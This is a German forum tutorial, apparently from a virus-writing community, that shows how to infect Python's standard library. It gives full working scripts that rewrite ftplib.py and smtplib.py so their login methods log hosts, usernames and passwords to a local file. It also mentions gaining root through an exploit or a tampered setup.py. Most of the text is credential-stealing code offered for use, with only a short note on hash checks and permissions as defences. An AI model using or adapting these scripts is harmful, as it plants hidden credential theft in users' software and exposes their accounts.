[+]Topic: Tutorial
[+]Von: dav1d
[+]Return: Tutorials

### Pynject ### =============== __author__ = 'dav1d' __code_lang__ = 'python' __license__ = 'MIT' __os__ = ['nt', 'posix'] # os.name >1< __intro__ >2< __prinzip__ >3< __umsetzung__ >4< __outro__ >1< __intro___ In diesem kleinen Paper, werde ich euch zeigen, wie man die Std.-Lib von Python mit Schadcode infiziert. Vorraussetzungen: * Python-Interpreter (recommended: 2.7) Ich werde in jeder Section etwas zu den Besonderheiten von Linux (posix) und Windows (nt). >2< __prinzip__ Am einfachsten infiziert man die Std.-Lib von Python mit Pythoncode, den man in ein schon vorhandenes Modul "einbaut". In der "ftplib" aendert man z.B. du login Methode so ab. dass sie die Logindaten mit loggt. __________________________________________________________ | | | Man braucht je nach Installationsort und Rechten | | bei Linux Root-Rechte um die Module veraendern zu koennen | |__________________________________________________________| Es gibt 2 Moeglichkeiten dem Skript zu sagen, wo der Code eingeschleust werden soll: 1. Zeilenangabe 2. "Orientierung" an einem einamligen String im Modul z.B.: Docstring Auf was muss man achten?: * der Code sollte das Modul nicht beeintraechtigen * der Code muss ins Modul passen (Einrueckung, Klammern) * das Skript sollte nicht 2mal infiziert werden Wie kann man sich schuetzen?: * dem normalen "user" keine Rechte auf das Lib-Verzeichnis gewaehren (Linux) * regelmae├čig die Hashs der Datein pruefen (z.B. mit einem skript) (Linux / Win). Tool: o md5sum (Linux) o http://www.fastsum.com/ (Win) Beide Methoden sind sinnvoll, jedoch ist die erste praeventiv taetig. >3< __umsetzung__ Wie oben schon erwaehnt braucht man unter Linux Root-Rechte, wenn's bloed geht, die kann man sich entweder mit z.B. nen Exploit "erarbeiten" oder eine setup.py von einem anderen Modul so modifizieren, dass der eigene Code auch ausgefuehrt wird (logischweise braucht man fuer die Installation eines Moduls auch die entsprechenden Rechte). Im weiteren Verlauf des Papers, werde ich auf diese Problematik _nicht_ weiter eingehen. Welche Module lohnen sich, dass man sie Infiziert?: * ftplib.py * smtplib.py * imaplib.py Ich verwende die ftplib um zu zeigen wie mein ein solches Modul infiziert und als schmakerl gibts auch noch den Code fuer die smtplib ;). Was brauchen wir?: * den Code der eingeschleust werden soll * eine Funktion die das macht * Informationen ueber das OS und das Modul Vorarbeit: In der ftplib (Python 2.7) befindet sich in Zeile 363 die Methode login, in der alle Informationen, wie User, Passwort und Host. In zeile 364 ist ein einmaliger String, also haben wir die beide Moeglichkeiten um das Modul zu infizieren, jetzt brauchen wir noch den Code, der eingeschleust werden soll: --------------------------------------------------------------------------------------------------- INJECTION = [' x = open(\'C:\\\\inj.txt\', \'a\')\n', ' x.write(\'Host: %s, User: %s, Pass: %s\\n\' % (self.host, user, passwd))\n', ' x.close()\n', ' del x\n'] --------------------------------------------------------------------------------------------------- Jeder String in der Liste representiert eine Zeile, die spaeter eingefuegt wird. Es wird eine Datei (C:\\inj.txt) geoeffnet und in dieser werden host, user und pass gespeichert. Jetzt zur Funktion: --------------------------------------------------------------------------------------------------- def inject_ftplib(injection_code): '''Inject the ftplib.py, with own code''' temp = [] ftplib_dir = join(sys.prefix, 'lib') if osname == 'posix': # Is there a better way? ftplib_dir = join(ftplib_dir, 'python%s' % (sys.version[:3])) with open(join(ftplib_dir, 'ftplib.py'), 'r') as f: #for i, line in enumerate(f): # for the fast method for line in f: # For the slow and safer method temp.append(line) if '\'\'\'Login, default anonymous.\'\'\'' in line: # Slow but safer #if i == 363: # Fast next_line = f.next() if next_line.lstrip().startswith('#'): return 'Already injected' temp.append(' # Don\'t change\n') if isinstance(injection_code, list): temp.extend(injection_code) else: temp.append(injection_code) temp.append(next_line) with open(join(ftplib_dir, 'ftplib.py'), 'wb') as f: for line in temp: f.write(line) return 'Injection complete!' --------------------------------------------------------------------------------------------------- Die Funktion nimmt entweder einen String oder eine Liste, welche den Code enthaelt, der eingefuegt werden soll (injection_code). Zu Beginn wird geprueft, ob es sich um Linux oder ein anderes System handelt (osname = os.name), wenn dem so ist, wird das Verzeichnis (ftplib_dir) angepasst. Jetzt gehts ins Eingemachte, als erstes wird das Modul zum lesen geoeffnet und es wird nach dem "Magic string" gesucht oder eben bis zur Zeile X (363) iteriert, bis dahin wurde schon jede Zeile des Moduls in temp gespeichert, wenn der Code nun entweder beim "Magic string" oder bei Zeile X angelangt ist, wird geprueft, ob die naechste Zeile mit eine '#' beginnt, wenn ja, wurde die Lib schon infiziert, falls nicht, wird der injection_code an temp angehaengt und es wird weiter ueber das Modul iteriert, sodass sich am Ende eine Kopie des Moduls mit zusaetzlichem Code in temp befindet, im naechsten Schritt wird mit diesem Code das echte Modul ueberschrieben. Der komplette Code: ---------------------------------------------------------------------------------------------------- #!/usr/bin/python # -*- coding: utf-8 -*- from __future__ import with_statement from os import name as osname from os.path import join import sys INJECTION = [' x = open(\'C:\\\\test.txt\', \'a\')\n', ' x.write(\'Host: %s, User: %s, Pass: %s\\n\' % (self.host, user, passwd))\n', ' x.close()\n', ' del x\n'] def inject_ftplib(injection_code): '''Inject the ftplib.py, with own code''' temp = [] ftplib_dir = join(sys.prefix, 'lib') if osname == 'posix': # Is there a better way? ftplib_dir = join(ftplib_dir, 'python%s' % (sys.version[:3])) with open(join(ftplib_dir, 'ftplib.py'), 'r') as f: #for i, line in enumerate(f): # for the fast method for line in f: # For the slow and safer method temp.append(line) if '\'\'\'Login, default anonymous.\'\'\'' in line: # Slow but safer #if i == 363: # Fast next_line = f.next() if next_line.lstrip().startswith('#'): return 'Already injected' temp.append(' # Don\'t change\n') if isinstance(injection_code, list): temp.extend(injection_code) else: temp.append(injection_code) temp.append(next_line) with open(join(ftplib_dir, 'ftplib.py'), 'wb') as f: for line in temp: f.write(line) return 'Injection complete!' if __name__ == '__main__': from time import clock start = clock() ret = inject_ftplib(INJECTION) print ret print 'Time:', clock() - start ---------------------------------------------------------------------------------------------------- Das wars! md5sum Vergleich: Vorher : 4bf872281c32f99b8695eaff8f0841c8 ftplib.py Nachher: 4a5b00afd73be32037697d2c033f5e1e ftplib.py Und wie versprochen der Code fuer die smtplib: ---------------------------------------------------------------------------------------------------- #!/usr/bin/python # -*- coding: utf-8 -*- from __future__ import with_statement from os import name as osname from os.path import join import sys INJECTION = [' x = open(\'C:\\\\inj.txt\', \'a\')\n', ' x.write(\'Host: %s, Port: %s, User: %s, Pass: %s\\n\'', ' % (self.host, self.port, user, password))\n', ' x.close()\n', ' del x\n'] def inject_smtplib(injection_code): '''Inject the smtplib.py, with own code''' temp = [] smtplib_dir = join(sys.prefix, 'lib') if osname == 'posix': # Is there a better way? smtplib_dir = join(smtplib_dir, 'python%s' % (sys.version[:3])) with open(join(smtplib_dir, 'smtplib.py'), 'r') as f: for i, line in enumerate(f): temp.append(line) if i == 296: next_line = f.next() if next_line.strip() == 'self.host = host': return 'Already injected' temp.append(' self.host = host\n self.port = port\n') temp.append(next_line) elif i == 536: next_line = f.next() if isinstance(injection_code, list): temp.extend(injection_code) else: temp.append(injection_code) temp.append(next_line) with open(join(smtplib_dir, 'smtplib.py'), 'wb') as f: f.writelines(temp) return 'Injection complete!' if __name__ == '__main__': from time import clock start = clock() ret = inject_smtplib(INJECTION) print ret print 'Time:', clock() - start ---------------------------------------------------------------------------------------------------- >4< __outro__ Das wars auch schon wieder, ich hoffe das hat euch was gebracht.... Und nicht vergessen, das ist nur ein POC ;). ============================================ ### written /\ for: vxnet /\ from: dav1d ### ~> PS: The more they change, the more they stay the same <~